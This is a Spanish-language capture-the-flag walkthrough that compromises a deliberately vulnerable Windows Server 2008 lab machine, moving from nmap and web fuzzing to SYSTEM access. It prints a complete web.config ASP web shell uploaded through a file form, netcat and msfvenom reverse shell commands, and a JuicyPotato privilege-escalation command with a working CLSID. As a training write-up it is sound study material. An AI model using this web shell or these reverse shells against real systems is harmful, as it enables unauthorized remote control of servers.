Estamos ante una máquina Windows de nivel principiante creada por CuriosidadesDeHackers y condor de la plataforma The Hackers Labs.
Enumeración
Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de IPs a nuestra red:
$ sudo arp-scan -I eth1 --localnet
Interface: eth1, type: EN10MB, MAC: 08:00:27:5e:91:9b, IPv4: 10.0.2.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1 52:54:00:12:35:00 QEMU
10.0.2.2 52:54:00:12:35:00 QEMU
10.0.2.3 08:00:27:5b:2e:9c PCS Systemtechnik GmbH
10.0.2.140 08:00:27:09:18:96 PCS Systemtechnik GmbH
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.017 seconds (126.92 hosts/sec). 4 responded
Como vemos la máquina tiene asignada la IP 10.0.2.140
.
Empezamos realizando un escaneo de puertos con nmap
. Hacemos un escaneo silencioso-sS
, a todos los puertos -p-
, que nos de detalles del escaneo -v
, que no haga ping al host -Pn
, que no haga resolución de DNS -n
a nuestra máquina victima 10.0.2.140
:
$ sudo nmap -sS -p- -v -Pn -n 10.0.2.140
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
Una vex que tenemos qué puertos están abiertos hacemos otro escaneo con nmap
, pero esta vez para ver con mas detalle que hay en esos puertos:
$ sudo nmap -sCV -p80,135,139,445,47001,49152,49153,49154,49155,49156,49158 -v 10.0.2.140
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Host script results:
| nbstat: NetBIOS name: WIN-4QU3QNHNK7E, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:09:18:96 (Oracle VirtualBox virtual NIC)
| Names:
| WIN-4QU3QNHNK7E<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ WIN-4QU3QNHNK7E<20> Flags: <unique><active>
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: 2m18s
| smb2-time:
| date: 2024-06-21T11:29:29
|_ start_date: 2024-06-21T09:27:55
En el resultado vemos que en el puerto 80
hay un servidor Microsoft-IIS/7.5
.
Comprobamos que realmente hay un servidor IIS 7.5
con whatweb
:
$ whatweb -a 3 -v http://10.0.2.140
WhatWeb report for http://10.0.2.140
Status : 200 OK
Title : IIS7
IP : 10.0.2.140
Country : RESERVED, ZZ
Summary : HTTPServer[Microsoft-IIS/7.5], Microsoft-IIS[7.5][Under Construction], X-Powered-By[ASP.NET]
Detected Plugins:
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : Microsoft-IIS/7.5 (from server string)
[ Microsoft-IIS ]
Microsoft Internet Information Services (IIS) for Windows
Server is a flexible, secure and easy-to-manage Web server
for hosting anything on the Web. From media streaming to
web application hosting, IIS's scalable and open
architecture is ready to handle the most demanding tasks.
Module : Under Construction
Version : 7.5
Website : http://www.iis.net/
[ X-Powered-By ]
X-Powered-By HTTP header
String : ASP.NET (from x-powered-by string)
HTTP Headers:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 18 Jun 2024 15:19:13 GMT
Accept-Ranges: bytes
ETag: "8c9090e092c1da1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 21 Jun 2024 11:30:34 GMT
Connection: close
Content-Length: 689
Con curl
vemos que hay una página web por defecto de IIS
:
$ curl http://10.0.2.140
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#B3B3B3;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
</body>
</html>
Usamos la herramienta feroxbuster
para hacer fuzz al servidor. Le indicamos con -u
la url, con -w
el diccionario a usar para la búsqueda, -x
para indicarle qué extensión buscar en los ficheros, -s
para que solo nos devuelva los directorios y ficheros que encuentre y que devuelvan de Status Code 200 y -r
para seguir los redirecciones:
$ feroxbuster -u http://10.0.2.140 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x aspx -s 200 -r
200 GET 826l 4457w 331772c http://10.0.2.140/welcome.png
200 GET 32l 53w 689c http://10.0.2.140/200 GET 121l 61w 1159c http://10.0.2.140/zoc.aspx
Encontramos el fichero zoc.aspx
. Hacemos un curl
para ver el código fuente del fichero:
─$ curl http://10.0.2.140/zoc.aspx
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
Secure File Transfer
</title></head>
<body>
<form name="form1" method="post" action="zoc.aspx" id="form1" enctype="multipart/form-data">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkPcJGUl1Hy844izHTIhfkoIHDrbw=" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAgL3iIH+DALt3oXMAw1C+wxpDnf+65aqZtzoxIjF/bl8" />
<div>
<input type="file" name="FileUpload1" id="FileUpload1" />
<input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload" />
<br />
<span id="Label1"></span>
</div>
</form>
</body>
</html>
<!-- /Subiditosdetono -->
Vemos que hay un comentario de un supuesto directorio /Subiditosdetono
.
Si entramos a la url vemos que es una web simple para subir un fichero:
En hacktricks podemos ver que tipo de ficheros podemos subir al servidor IIS. Vemos que entre los posibles tipos de ficheros esta el .config
. En la misma web podemos encontrar un ejemplo que nos permite hacer ejecucion remota. Nos descargamos el fichero web.config y lo subimos al servidor.
El fichero web.config
:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
-->
Ejecutamos systeminfo
para obtener información del sistema.
Vemos que se trata de un Windows Server 2008 Enterprise R 2
.
Ejecutamos whoami /priv
para ver con que usuario estamos ejecutando los comandos y ver sus privilegios.
Como vemos tiene el privilegio SeImpersonatePrivilege
habilitado…
Intrusión
Nos copiamos Netcat
en nuestro directorio:
$ cp /usr/share/windows-binaries/nc.exe .
Para compartir ficheros con la máquina victima creamos un servidor samba en nuestra máquina. Usamos impacket-smbserver
para crear el server, -smb2support
para dar soporte a smb2, kali
es el nombre que le doy al recurso compartido y .
para compartir lo que tenemos en el directorio actual.
$ impacket-smbserver -smb2support kali .
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Nos ponemos a la escucha:
$ nc -nlvp 8888
listening on [any] 8888 ...
Y tras ejecutar \\10.0.2.5\kali\nc.exe -e cmd 10.0.2.5 8888
Obtenemos la shell:
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.140] 49161
Microsoft Windows [Versi?n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
c:\windows\system32\inetsrv>
Escalada de privilegios
Ahora nos queda obtener privilegios de administrador. Para ello, como hemos visto antes, nos aprovechamos de los privilegios del usuario. En hacktricks vemos las diferentes posibilidades que tenemos. Yo voy a usar JuicyPotato para la escalada.
Descargamos JuicyPotato :
$ wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Creamos una shell reversa para windows con msfvenom
:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.5 LPORT=8889 -f exe -o shell.exe
Nos ponemos a la escucha:
$ nc -nlvp 8889
listening on [any] 8889 ...
Y ejecutamos:
c:\windows\system32\inetsrv>\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe
\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 443
COM -> recv failed with error: 10038
Vemos que da error y si buscamos el error encontramos que es debido a que el CLSID que proporciona por defecto JuicyPotato no es valido. Los CLSID para los diferentes Windows podemos encontrar en el siguiente link https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/
Ejecutamos de nuevo incluyendo un CLSID valido y…:
c:\windows\system32\inetsrv>\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 443
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\windows\system32\inetsrv>
Obtenemos una shell como nt authority\system
:
└─$ nc -nlvp 8889
listening on [any] 8889 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.140] 49173
Microsoft Windows [Versi?n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Windows\system32>whoami
whoami
nt authority\system